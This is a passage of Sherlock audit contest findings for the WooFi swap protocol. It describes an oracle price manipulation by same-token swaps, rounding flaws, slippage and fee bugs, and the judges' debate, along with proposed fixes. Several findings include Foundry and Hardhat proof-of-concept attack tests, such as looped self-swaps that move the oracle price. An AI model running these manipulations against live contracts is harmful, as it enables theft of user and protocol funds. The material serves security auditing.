// top up the evil, in real case, the fund could be from a flashloan
wbtc.mint(evil, 100e8);
for (uint256 i; i < 10; ++i) {
vm.startPrank(evil);
uint256 balance = wbtc.balanceOf(evil);
wbtc.transfer(address(pool), balance);
pool.swap({
fromToken: address(wbtc),
toToken: address(wbtc),
fromAmount: balance,
minToAmount: 0,
to: evil,
rebateTo: evil
});
(uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));
assertTrue(feasible2);
uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;
console2.log("Unbound price drift in attack case: ", _toPercentString(drift));
vm.stopPrank();
}
}
function _toPercentString(uint256 drift) internal pure returns (string memory result) {
uint256 d_3 = drift % 10;
uint256 d_2 = (drift / 10) % 10;
uint256 d_1 = (drift / 100) % 10;
uint256 d0 = (drift / 1000) % 10;
result = string.concat(_toString(d0), ".", _toString(d_1), _toString(d_2), _toString(d_3), "%");
uint256 d = drift / 10000;
while (d > 0) {
result = string.concat(_toString(d % 10), result);
d = d / 10;
}
}
function _toString(uint256 digital) internal pure returns (string memory str) {
str = new string(1);
bytes16 symbols = "0123456789abcdef";
assembly {
mstore8(add(str, 32), byte(digital, symbols))
}
}
}
And the logs:
2024-03-woofi-swap\WooPoolV2> forge test --match-contract PriceManipulationAttackTest -vv
[⠆] Compiling...No files changed, compilation skipped
[⠰] Compiling...
Running 2 tests for test/foundry/PriceManipulationAttack.t.sol:PriceManipulationAttackTest
[PASS] testMaxPriceDriftInNormalCase() (gas: 158149)
Logs:
Max price drift in normal case: 0.502%
[PASS] testUnboundPriceDriftInAttackCase() (gas: 648243)
Logs:
Unbound price drift in attack case: 0.499%
Unbound price drift in attack case: 0.998%
Unbound price drift in attack case: 1.496%
Unbound price drift in attack case: 1.994%
Unbound price drift in attack case: 2.491%
Unbound price drift in attack case: 2.988%
Unbound price drift in attack case: 3.483%
Unbound price drift in attack case: 3.978%
Unbound price drift in attack case: 4.473%
Unbound price drift in attack case: 4.967%
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.59ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Acccording WooFI
doc (https://learn.woo.org/v/woofi-dev-docs/resources/on-chain-price-feeds), the Wooracle
is intended to work as a price feed infrastructure for both WooFI
's other components and third parties. This bug would cause all related consumer APPs suffering potential price manipulation attack.
https://github.com/sherlock-audit/2024-03-woofi-swap/blob/main/WooPoolV2/contracts/WooPPV2.sol#L513
Manual Review
2024-03-woofi-swap\WooPoolV2> git diff
diff --git a/WooPoolV2/contracts/WooPPV2.sol b/WooPoolV2/contracts/WooPPV2.sol
index e7a6ae8..9440089 100644
--- a/WooPoolV2/contracts/WooPPV2.sol
+++ b/WooPoolV2/contracts/WooPPV2.sol
@@ -520,6 +520,7 @@ contract WooPPV2 is Ownable, ReentrancyGuard, Pausable, IWooPPV2 {
) private nonReentrant whenNotPaused returns (uint256 base2Amount) {
require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");
require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");
+ require(baseToken1 != baseToken2, "WooPPV2: baseToken1 == baseToken2");
require(to != address(0), "WooPPV2: !to");
require(balance(baseToken1) - tokenInfos[baseToken1].reserve >= base1Amount, "WooPPV2: !BASE1_BALANCE");
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: woonetwork/WooPoolV2#110
WangSecurity
request poc
sherlock-admin2
PoC request not allowed.
WangSecurity
We decided to downgrade it to med cause the cost of such attack is extremely high.
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Source: sherlock-audit#41
The protocol has acknowledged this issue.
Avci, Bandit, Dliteofficial, infect3d, klaus, mstpr-brainbot
The price precision that the WooOracle uses is 8. However, if the quote token is an expensive token or the base token is a very cheap token, then the price will be too less in decimals and even "0" in some cases. This will lead to inefficient trades or inability to compare the woofi price with chainlink price due to chainlink price return with "0" value.
First, let's see how the chainlink price is calculated:
function _cloPriceInQuote(address _fromToken, address _toToken)
internal
view
returns (uint256 refPrice, uint256 refTimestamp)
{
address baseOracle = clOracles[_fromToken].oracle;
if (baseOracle == address(0)) {
return (0, 0);
}
address quoteOracle = clOracles[_toToken].oracle;
uint8 quoteDecimal = clOracles[_toToken].decimal;
(, int256 rawBaseRefPrice, , uint256 baseUpdatedAt, ) = AggregatorV3Interface(baseOracle).latestRoundData();
(, int256 rawQuoteRefPrice, , uint256 quoteUpdatedAt, ) = AggregatorV3Interface(quoteOracle).latestRoundData();
uint256 baseRefPrice = uint256(rawBaseRefPrice);
uint256 quoteRefPrice = uint256(rawQuoteRefPrice);
// NOTE: Assume wooracle token decimal is same as chainlink token decimal.
uint256 ceoff = uint256(10)**quoteDecimal;
refPrice = (baseRefPrice * ceoff) / quoteRefPrice;
refTimestamp = baseUpdatedAt >= quoteUpdatedAt ? quoteUpdatedAt : baseUpdatedAt;
}
Now, let's assume the quote token is WBTC price of 60,000$ and the baseToken is tokenX that has the price of 0.0001$. When the final price is calculated atrefPrice
because of the divisions in solidity, the result will be "0" as follows:
60_000 * 1e8 * 1e8 / 0.0001 * 1e8
= 0
so the return amount will be "0".
When the derived chainlink price is compared with woofi oracle if the chainlink price is "0" then the woPriceInBound
will be set to "true" assuming the chainlink price is not set. However, in our case that's not the case, the price returnt "0" because of divisions:
-> bool woPriceInBound = cloPrice_ == 0 ||
((cloPrice_ * (1e18 - bound)) / 1e18 <= woPrice_ && woPrice_ <= (cloPrice_ * (1e18 + bound)) / 1e18);
if (woFeasible) {
priceOut = woPrice_;
feasible = woPriceInBound;
}
In such scenario, the chainlink comparison between woofi and chainlink price will not give correct results. The oracle will not be able to detect whether the chainlink price is in "bound" with the woofi's returnt price.
This also applies if a baseToken price crushes. If the token price gets very less due to market, regardless of the quoteToken being WBTC or USDC the above scenario can happen.
Oracle will fail to do a validation of its price with the chainlink price.
Manual Review
Precision of "8" is not enough on most of the cases. I'd suggest return the oracle price in "18" decimals to get more room on rounding.
sherlock-admin3
1 comment(s) were left on this issue during the judging contest.
WangAudit commented:
the calculation is incorrect; turn on the terminal; start chisel; copy+paste the calculation (60000 * 1e8 * 1e8) / (0.0001 * 1e8) (added brackets so it will be calculated correctly) and the answer is indeed 60000000000000000 (60_000e12 which is correct) and not 0
fb-alexcq
Thanks for filing this issue.
Our WooPP only selects the mainstream tokens (actually, only native, btc, usdc, usdt), so it won't face this extreme case. And it's not engineering efficient to update price decimal to 18
for the impossible case above.
WangSecurity
Firstly, here's a comment from tapir:
I made a typo in math calculation. I say quote token is wbtc and base token is a token with low price but doing the math opposite. @Wang Security comment is right here because of my typo.
the price is: (baseRefPrice * ceoff) / quoteRefPrice;
baseRefPrice = 0.0001 * 1e8; quoteRefPrice = 60_000 * 1e8; ceoff = 1e8 (WBTC decimals)
and the result is "0"
I asked Head of Judging and he allowed me to use the new context.
Moreover, the information about which tokens will be used (the ones mentioned in the above comment) was unavailable to watsons, and README says any token. On top of it, it's infact unientended design. Therefore, Medium -> core functionality break -> the price
function will validate 0 price from chainlink when it shouldn't do this.
fb-alexcq
The wooPP by default only supports selected list of tokens, manually added by admins (with offchain market making scripts). So this case for base/quote price goes beyond decimal 8 will never happen.
Source: sherlock-audit#42
The protocol has acknowledged this issue.
mstpr-brainbot
When a swap happens in WoofiPool the price is updated accordingly respect to such value "gamma". However, there are some cases where the swap results to a "gamma" value of "0" which will not change the new price for the next trade.
This is how the quote token received and new price is calculated when given amount of base tokens are sold to the pool:
function _calcQuoteAmountSellBase(
address baseToken,
uint256 baseAmount,
IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");
DecimalInfo memory decs = decimalInfo(baseToken);
// gamma = k * price * base_amount; and decimal 18
uint256 gamma;
{
uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;
require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");
gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;
require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");
// Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
quoteAmount =
(((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *
(uint256(1e18) - gamma - state.spread)) /
1e18 /
decs.baseDec;
}
// newPrice = oracle.price * (1 - k * oracle.price * baseAmount)
newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;
}
Now, let's assume: DAI is quoteToken, 18 decimals tokenX is baseToken which has a price of 0.01 DAI, 18 decimals coefficient = 0.000000001 * 1e18 spread = 0.001 * 1e18 baseAmount (amount of tokenX are sold) = 1e10;
first calculate the gamma
:
(baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;
= 1e10 * 0.01 * 1e8 * 0.000000001 * 1e18 / 1e8 / 1e18
= 0 due to round down
let's calculate the quoteAmount
will be received:
quoteAmount =
(((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *
(uint256(1e18) - gamma - state.spread)) /
1e18 /
decs.baseDec;
(1e10 * 0.01 * 1e8 * 1e18 / 1e8) * (1e18 - 0 - 0.01 * 1e18) / 1e18 / 1e18
= 99900000 which is not "0".
let's calculate the new price: newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18; = (1e18 - 0) * 0.01 * 1e8 / 1e18 = 0.01 * 1e8 which is the same price, no price changes!
That would also means if the "gamma" is "0", then this is the best possible swap outcome. If a user does this in a for loop multiple times in a cheap network, user can trade significant amount of tokens without changing the price.
Coded PoC (values are the same as in the above textual scenario):
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
// USDC --> DAI address, mind the naming..
uint usdcAmount = 1_000_000 * 1e18;
uint wooAmount = 100_000 * 1e18;
uint wethAmount = 1_000 * 1e18;
deal(USDC, ADMIN, usdcAmount);
deal(WOO, ADMIN, wooAmount);
deal(WETH, ADMIN, wethAmount);
vm.startPrank(ADMIN);
IERC20(USDC).approve(address(pool), type(uint256).max);
IERC20(WOO).approve(address(pool), type(uint256).max);
IERC20(WETH).approve(address(pool), type(uint256).max);
pool.depositAll(USDC);
pool.depositAll(WOO);
pool.depositAll(WETH);
vm.stopPrank();
uint wooAmountForTapir = 1e10 * 1000;
vm.startPrank(TAPIR);
deal(WOO, TAPIR, wooAmountForTapir);
IERC20(USDC).approve(address(router), type(uint256).max);
IERC20(WOO).approve(address(router), type(uint256).max);
IERC20(WETH).approve(address(router), type(uint256).max);
vm.stopPrank();
// WHERE THE MAGIC HAPPENS
(uint128 price, ) = oracle.woPrice(WOO);
console.log("price", price);
uint cumulative;
for (uint i = 0; i < 1000; ++i) {
vm.prank(TAPIR);
cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);
}
(uint128 newPrice, ) = oracle.woPrice(WOO);
console.log("price", price);
// price hasnt changed although there are significant amount of tokens are being traded by TAPIR
assertEq(newPrice, price);
}
As by design, the price should change after every trade irrelevant of the amount that is being traded. Also, in a cheap network the attack can be quite realistic. Hence, I'll label this as medium.
Manual Review
if the "gamma" is "0", then revert.
fb-alexcq
Thanks for the feedback.
In your example, your DAI amount is 1e10, which 10^-8 usdc in notional value. With such a small amount, zero gamma looks good here. Could you please come up another test case, with a swap amount at least great than 1 usd (and with swap fee) ?
Thanks in advance.
WangSecurity
request poc
sherlock-admin3
PoC requested from @mstpr
Requests remaining: 6
WangSecurity
look at the comment above by the sponsor
mstpr
@fb-alexcq @WangSecurity It all comes down to the network cheapness and coefficient/spread values, if the network is cheap, then doing a many iterations with dust amount will lead to the situation above.
the below example has: pool.setFeeRate(WOO, 1000); uint64 private constant INITIAL_SPREAD_WOO = 0.001 * 1e18; uint64 private constant INITIAL_COEFF_WOO = 0.00000000000000001 * 1e18; uint128 private constant INITIAL_PRICE_WOO = 0.01 * 1e8;
swapping 1 WOO, 1000 times in single tx, receives 9.98 DAI in return without changing the price. If done with more iterations the impact is higher.
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
// USDC --> DAI address, mind the naming..
uint usdcAmount = 1_000_000 * 1e18;
uint wooAmount = 100_000 * 1e18;
uint wethAmount = 1_000 * 1e18;
deal(USDC, ADMIN, usdcAmount);
deal(WOO, ADMIN, wooAmount);
deal(WETH, ADMIN, wethAmount);
vm.startPrank(ADMIN);
IERC20(USDC).approve(address(pool), type(uint256).max);
IERC20(WOO).approve(address(pool), type(uint256).max);
IERC20(WETH).approve(address(pool), type(uint256).max);
pool.depositAll(USDC);
pool.depositAll(WOO);
pool.depositAll(WETH);
vm.stopPrank();
uint wooAmountForTapir = 1e18 * 1000;
vm.startPrank(TAPIR);
deal(WOO, TAPIR, wooAmountForTapir);
IERC20(USDC).approve(address(router), type(uint256).max);
IERC20(WOO).approve(address(router), type(uint256).max);
IERC20(WETH).approve(address(router), type(uint256).max);
vm.stopPrank();
// WHERE THE MAGIC HAPPENS
(uint128 price, ) = oracle.woPrice(WOO);
console.log("price", price);
uint cumulative;
for (uint i = 0; i < 1000; ++i) {
vm.prank(TAPIR);
cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);
}
(uint128 newPrice, ) = oracle.woPrice(WOO);
console.log("price", price);
console.log("Cumulative", cumulative);
// price hasnt changed although there are significant amount of tokens are being traded by TAPIR
assertEq(newPrice, price);
}
fb-alexcq
For me, it still looks legit when the swap amount is so small (with such a low coef slippage), the gamma could be 0. You think about when you trade 1 dai to usdc, you probably ended up with no slippage.
But to make the judgement more rigorous, I'm double checking with our algorithm dev.
WangSecurity
@fb-alexcq have you checked with the algorithm dev?
fb-alexcq
We decided to give the credit to the Watson. And have been come up with this fix: woonetwork/WooPoolV2#114
In engineering perspective, it's impossible to deduce a zero gamma, but we decided to take more sanity check here , w/o costing too much gas.
Banditx0x
Interesting, I saw that gamma rounding could be infavor of user but didn't think it could result in anything signficant as it would only be off by 1. Nice one
Source: sherlock-audit#85
charles__cheerful, hals
WooCrossChainRouterV4.crossSwap()
doesn't correctly check for slippage, as it deducts external swapping fees after checking for the minimum bridged amount determined by the user.
WooCrossChainRouterV4.crossSwap()
function is meant to enable users from executing a cross-chain swap, where a cross chain swap transaction may include all or some of the following steps (as per the documentation):
- Swap asset A in the user's wallet to asset B in WOOFi on the source chain
- Then bridging asset B to asset C on the destination chain via Stargate (asset B and asset C are of the same value)
- Then swap asset C to asset D in WOOFi on the destination chain and send to the wallet instructed by the user.
-
So swapping from asset A to asset B on the source chain can be done either using a woofi pool (
WooPPV2
) viawooRouter.swap()
, or this swap can be done via an external aggregater (where 1inch aggregator is going to be used) viawooRouter.externalSwap()
that redirects the swap call to the external aggregator:// Step 2: local swap by 1inch router if (srcInfos.fromToken != srcInfos.bridgeToken) { TransferHelper.safeApprove(srcInfos.fromToken, address(wooRouter), srcInfos.fromAmount); if (src1inch.swapRouter != address(0)) { // external swap via 1inch bridgeAmount = wooRouter.externalSwap( src1inch.swapRouter, src1inch.swapRouter, srcInfos.fromToken, srcInfos.bridgeToken, srcInfos.fromAmount, srcInfos.minBridgeAmount, payable(address(this)), src1inch.data ); fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE; } else { //some code... } // Step 3: deduct the swap fee bridgeAmount -= fee;
where the resulted
bridgeAmount
will be checked to be >srcInfos.minBridgeAmount
in thewooRouter.externalSwap()
:function externalSwap( address approveTarget, address swapTarget, address fromToken, address toToken, uint256 fromAmount, uint256 minToAmount, address payable to, bytes calldata data ) external payable override nonReentrant returns (uint256 realToAmount) { //some code... require(realToAmount >= minToAmount && realToAmount > 0, "WooRouter: realToAmount_NOT_ENOUGH"); //some code... }
But as can be noticed, an external swap fee is deducted from the bridgeAmount
after the swap is done via an external aggregator (1inch aggregator) and after checking that the bridgeAmount
is sufficient as per detrmined by the user ( > srcInfos.minBridgeAmount
), and this might result in the bridgeAmount
being less than required by the user srcInfos.minBridgeAmount
.
WooCrossChainRouterV4.crossSwap function/L137-L138
// Step 2: local swap by 1inch router
if (srcInfos.fromToken != srcInfos.bridgeToken) {
TransferHelper.safeApprove(srcInfos.fromToken, address(wooRouter), srcInfos.fromAmount);
if (src1inch.swapRouter != address(0)) {
// external swap via 1inch
bridgeAmount = wooRouter.externalSwap(
src1inch.swapRouter,
src1inch.swapRouter,
srcInfos.fromToken,
srcInfos.bridgeToken,
srcInfos.fromAmount,
srcInfos.minBridgeAmount,
payable(address(this)),
src1inch.data
);
fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE;
} else {
//some code...
}
// Step 3: deduct the swap fee
bridgeAmount -= fee;
Manual Review
Update WooCrossChainRouterV4.crossSwap()
to check for the bridgeAmount
being greater than the amount determined by the user srcInfos.minBridgeAmount
after deducting the fees:
function crossSwap(
uint256 refId,
address payable to,
SrcInfos memory srcInfos,
DstInfos calldata dstInfos,
Src1inch calldata src1inch,
Dst1inch calldata dst1inch
) external payable whenNotPaused nonReentrant {
//some code...
// Step 2: local swap by 1inch router
if (srcInfos.fromToken != srcInfos.bridgeToken) {
TransferHelper.safeApprove(srcInfos.fromToken, address(wooRouter), srcInfos.fromAmount);
if (src1inch.swapRouter != address(0)) {
// external swap via 1inch
bridgeAmount = wooRouter.externalSwap(
src1inch.swapRouter,
src1inch.swapRouter,
srcInfos.fromToken,
srcInfos.bridgeToken,
srcInfos.fromAmount,
srcInfos.minBridgeAmount,
payable(address(this)),
src1inch.data
);
fee = (bridgeAmount * srcExternalFeeRate) / FEE_BASE;
} else {
//some code...
}
// Step 3: deduct the swap fee
bridgeAmount -= fee;
+ require(bridgeAmount >= srcInfos.minBridgeAmount, "insufficient bridged amount");
//some code...
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/woonetwork/WooPoolV2/pull/112/commits/151443bf3c780f4e45796312591c61e1bd188122
WangSecurity
Initially, it was selected as a duplicate of 141, but it's not. 141 is invalid and 85 is valid.
sherlock-admin2
Escalate.
Please think about the actual impact.
You've deleted an escalation for this issue.
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Source: sherlock-audit#95
charles__cheerful
When doing a cross-chain transfer with any valid fromToken
, using sgETH
as bridgeToken
and WETH as toToken
via the
WooRouterV2
swap on destination chain. The user is charged an unnecessary fee.
When receiving a cross-chain swap trhough sgReceive()
at WooCrossChainRouterV4
, if the bridgeToken
is sgETH then the _handleNativeReceived()
will be called. This function if toToken != ETH_PLACEHOLDER_ADDR
will perform a swap to change the eth used as bridgeToken
for the toToken
using, for example, the very same WooRouterV2
. And for exchanging ETH it needs to be wrapped up as WETH which it does by calling IWETH(weth).deposit{value: bridgedAmount}();
.
The problem comes when the toToken
desired is WETH, then a WETH to WETH swap will be carried out by the WooRouterV2
which will result in a fee being charged to the user due to a swap which makes no sense but would execute. So the user is losing unnecessary unexpected money.
You can see that WooRouterV2
allows for swaps where from
and to
tokens are the same token exeuting the following code:
See swap the same `from` and `to` tokens via WooRouterV2 👁️
To run the code copy paste it inside the ./test/typesript/WooRouterV2.test.sol
file, then inside the describe("Swap Functions", () => {})
, and then after the beforeEach("Deploy WooRouterV2", async () => {})
, and then run:
npx hardhat test test/typescript/WooRouterV2.test.ts
it.only("swap btc -> btc", async () => {
await btcToken.mint(user.address, ONE.mul(5));
console.log("POOL BTC BALANCE", await utils.formatEther(await btcToken.balanceOf(wooPP.address)));
console.log("Swap: btc -> btc");
const fromAmount = ONE.mul(2);
const minToAmount = ONE.mul(1);
await btcToken.connect(user).approve(wooRouter.address, fromAmount);
await wooRouter
.connect(user)
.swap(btcToken.address, btcToken.address, fromAmount, minToAmount, user.address, ZERO_ADDR);
console.log("POOL BTC BALANCE", await utils.formatEther(await btcToken.balanceOf(wooPP.address)));
console.log("That means from the 2 BTC user sent only 0.002 were left as fee.");
console.log("What matters for our issue is that the tx succeeded and a fee was taken.");
});
📘 Note ℹ️: The cross-chain tx described is feasible as there is no kind of
require(toToken != WETH && brdigeToken != sgETH)
anywhere.
🚧 Note
⚠️ : I'm not sure what would happen if choosing 1inch option. If the swaps go through this problem would apply. But if the tx reverts this problem wouldn't apply as the swapping fee of 1inch wouldn't be applied and the transfer ofbridgeAmount
would take place as expected. Due to personal lack of time I let this question open. Anyway the recommendation proposed would fix the problem too in case 1inch also allows execution of the unnecessary swap.
Users lose unnecessary money when doing a cross-chain transfer with sgETH
as bridgeToken
and WETH as toToken
via the WooRouterV2
swap on detination chain.
Manual Review
At _handleNativeReceived()
. In the case of bridging with sgETH, after the if(toToken == ETH_PLACEHOLDER_ADDR){}
, add an extra if that checks if toToken != WETH, and if they are indeed different proceed with the swap.
if (toToken == ETH_PLACEHOLDER_ADDR) {
// code for when no swap required...
}
IWETH(weth).deposit{value: bridgedAmount}();
+ if (toToken != WETH) {
// Swap required!
// Swap logic...
+ }else{
+ // send the WETH
+ }
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
WangAudit commented:
technically yes; it's WETH to WETH; but the user want to exchange another token (e.g.sgETH) to WETH; therefore; the fees are taken cause the user initially swaps not-WETH to WETH
CarlosAlegreUr
Escalate
I think I undertand where your point comes from, but I think it's wrong for the following reasons.
The way your comment is wrong is that actually if using sgEth
as bridgeToken
, even though its a token and thus a swap should be made to WETH and thus charge the fee and thus be valid as you say, even though that, the thing is that bridged sgEth
doesnt arrive to the CrossChainRouterV4
contract as a token but already as a native coin in msg.value
. Thus when using sgETH
as bridgeToken
you are, a bit confusingly, not actually receiving a ERC20 token but native coin. You can see that this is true carefully looking at the code:
When sgReceive()
is called and bridgedToken=sgETH
we can see that the value being sent is not actualy sgETH token but pure ETH as msg.value
.
That is why the code does the following, first in sgReceive()
:
See code in repo click here
Notice the dev team added a comment pointing out what I'm trying to explain here. Click to see.
if (bridgedToken == sgInfo.sgETHs(sgInfo.sgChainIdLocal())) {
// 🟢 The comment below this one was added by the dev team and also informs that when sgETH, native token (coin) is received
// bridgedToken is SGETH, received native token
_handleNativeReceived(refId, to, toToken, amountLD, minToAmount, dst1inch);
}
If sgEth
is used, _handleNativeReceived()
is called, and then inside _handleNativeReceived()
:
) internal {
address msgSender = _msgSender();
if (toToken == ETH_PLACEHOLDER_ADDR) {
// Directly transfer ETH
TransferHelper.safeTransferETH(to, bridgedAmount);
emit WooCrossSwapOnDstChain(/*event args*/);
return;
}
// (rest of code...)
You can see that the very first action taken is to check if you wanted native coin on destination chain, and if so, transfer it to you and then return;
. This is because the sgETH
is sent to the router as already native coin in msg.value
and not as a token itself.
That is why there is no sgETH -> WETH swap and thus the unnecesarry WETH -> WETH swap in WooFi will execute as explained in the issue thus charging valid users fees that shouldnt be charged.
sherlock-admin2
Escalate
I think I undertand where your point comes from, but I think it's wrong for the following reasons.
The way your comment is wrong is that actually if using
sgEth
asbridgeToken
, even though its a token and thus a swap should be made to WETH and thus charge the fee and thus be valid as you say, even though that, the thing is that bridgedsgEth
doesnt arrive to theCrossChainRouterV4
contract as a token but already as a native coin inmsg.value
. Thus when usingsgETH
asbridgeToken
you are, a bit confusingly, not actually receiving a ERC20 token but native coin. You can see that this is true carefully looking at the code:When
sgReceive()
is called andbridgedToken=sgETH
we can see that the value being sent is not actualy sgETH token but pure ETH asmsg.value
.That is why the code does the following, first in
sgReceive()
: See code in repo click here Notice the dev team added a comment pointing out what I'm trying to explain here. Click to see.if (bridgedToken == sgInfo.sgETHs(sgInfo.sgChainIdLocal())) { // 🟢 The comment below this one was added by the dev team and also informs that when sgETH, native token (coin) is received // bridgedToken is SGETH, received native token _handleNativeReceived(refId, to, toToken, amountLD, minToAmount, dst1inch); }If
sgEth
is used,_handleNativeReceived()
is called, and then inside_handleNativeReceived()
:) internal { address msgSender = _msgSender(); if (toToken == ETH_PLACEHOLDER_ADDR) { // Directly transfer ETH TransferHelper.safeTransferETH(to, bridgedAmount); emit WooCrossSwapOnDstChain(/*event args*/); return; } // (rest of code...)You can see that the very first action taken is to check if you wanted native coin on destination chain, and if so, transfer it to you and then
return;
. This is because thesgETH
is sent to the router as already native coin inmsg.value
and not as a token itself.That is why there is no sgETH -> WETH swap and thus the unnecesarry WETH -> WETH swap in WooFi will execute as explained in the issue thus charging valid users fees that shouldnt be charged.
The escalation could not be created because you are not exceeding the escalation threshold.
You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.
WangSecurity
Escalate
After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.
sherlock-admin2
Escalate
After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
CarlosAlegreUr
Escalate
After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.
#95 Final escalation and thanks WangSecurity for your time, effort and kindness.
Summing up discord discussion with WangSecurity (lead judge) and Tapir (another contestant).
There are 4 main reasons why this issue has been considered invalid (from discord chat):
- To me it looks like design advice honestly. It's a good find honestly, but it's an issue about improving user experience.
- The loss is small and finite.
- It's just complicating the code.
- Using WETH as
toToken
swap might not be a "core" functonality.
I disagree reagarding 1, I potentially agree with number 2 but it depends on how Serlok defines small and finite, I disagree with 3 && 4. The counterarguments and reasons why I disagree are written after the summary of the issue.
First lets summarize the issue: The issue is that the user will be charged a fee he shouldn't when chosing to cross-swap WETH
as toToken
using WooPP
as the exchange for the final swap in dstChain and sgEth
as bridgeToken
.
(from discord chat) Mmmm I will try to explain it again.
First when receiving sgETH
the contract doesn't receive the ERC20 but diretly receives, from the bridge, native coin through msg.value
.
Now lets remember the inputs:
fromToken
=> any
birdgeToken
=> sgEth
toToken
=> WETH
dst1inch.swapRouter
= WooPP pool
Because bridgeToken
is sgETH
the _handleNativeReceived()
function will be executed as you can see in this if statement here.
Now inside _handleNativeReceived()
there are two possible main paths, whether you want native coin and this block of code gets executed and transfers msg.value
to you and returns, OR, the msg.value
is wrapped up latter to procced with the swap bridgeToken => toToken
.
Wrap happens after the if, here.
Here is the KEY PART, we are not using 1inch for the swap and we specified WooPP pool as the exchange to use. So this block of code will be executed.
The swap will be WETH => toToken
as you can see in the next line. But toToken
can also be WETH.
And as the in the code I added to my original issue, inside the: See swap the same from
and to
tokens via WooRouterV2 👁️ section. The WooPP pool allows for execution of "same-token" swaps even if they dont make sense. Like our now WETH => WETH
swap.
In those executions you can see in the code I provided that a fee is also charged in the WooPP pool. This fee is the one that makes no sense to charge to the user as they already have the toTokend
desired which is WETH
.
Finally add that this makes sense if you are bridging for example to Arbitrum, a chain supported by the protocol.
The key points you might be missing are:
-
The swap is not done via 1inch but via WooPP pool. And this allows for the "same-token" WETH => WETH unnecessary swap that involves the fee any swap on WooPP is charged.
-
sgEth
is given by the bridge to the corss-chain-router, but not as an ERC20 but as native coin throughmsg.value
. That is why is later wrapped up toWETH
to proceed with the swap in case you specified an ERC20 astoToken
, but thistoToken
can be WETH and then the extra fee is charged.
(from discrod chat)
I don't agree on it is a UX problem. I couldn't find anywhere where it says you can't bridge WETH
uing sgETH
as bridgeToken
using WooPP
for the destination swap. The only limits on tokens you can use according to the protocol are the ones on their IntegrationHelper
contract and the ones supported by the external brige they use (Stargate).
And WETH is supported in WooPP pool and can be bridged to Arbitrum (supported by the protocol) via stargate. As you can see in their contract deployed on getSupportedTokens()
, the WETH Arbitrum address is among them. The only restriction I could find in bridging is that you can't use the native coin as bridgeToken
, you gotta use sgETH or sgVersion. So, under all restrictions the protocol and team set, this is a valid user interaction which results in loss of funds due to unnecessary fee.
I will make an analogy with a car. If you buy a car and the seller tells you that the car can drive in uneven pavements but then you drive it in uneven pavement made of sand and the car gets some damange then it's not your UX fault because as far as you were told, the car works on uneven pavements. It said nothing about the sand, in fact is a family car and it is expected to probably go on beach holidays some times.
So to sum up I don't agree with the argument that it is a UX problem becaues the developers never said they forbid swapping WETH in their pool or bridging it as toToken
. In fact all indicates this is expected because WETH is approved as a token to be used in the WooPP and there are no filters for forbiding it in the bridge function either.
(from discrod chat) About the it's a small and finite amount. It depends what you consider small and finite. The WooPP pool charges a % fee, and depending on the size of the swap the % might be small but the absolute amount can be considered big.
This is very similar to what I wrote before in issue 97 comment section 2, adapted for this issue would be: My agreement with the argument of small defined loss depends on how sherlok defines a small finite loss. This could be considered small in terms of percentage as the loss will be as big as the protocols' fee charged for swapping on WooPP pool, which is a small % (lets say 1% or even 0.05%).
Now despite of that a 1% loss on let's imagine a traded amount of 1 million dollars would be 10K of loss which is quite an amount of money to lose (or 5K in the 0.05% case). So idk how Sherlok defines finite small loss, in absolute terms or proportional terms.
If it is in proportional termns then okay it's a small loss, you lost 10K while managing 1 million due to code issues. But if it is absolute terms I do not think 10K or 5K is a small loss.
As it is a percentage of the swapped amount, it can be considered proportionally low. But in absolute terms the amount lost can be seen as big, like the 10K loss explained. Also if we add the time factor, over time, all people using this option of bridging where this swap is unnecesarily done the amount of money lost will be accumulating and can get big. Anyway to sum up, depending on the nuance of how you define small and finite loss I would agree or disagree with the argument.
(from discrod chat)
I don't think fixing the issue adds a lot of complexity. As it can seen in the Recommendation section a simple if
statement would fix the issue. As much, the if
with a comment saying, if the toToken
desired was WETH
there is no need to swap and just send the token.
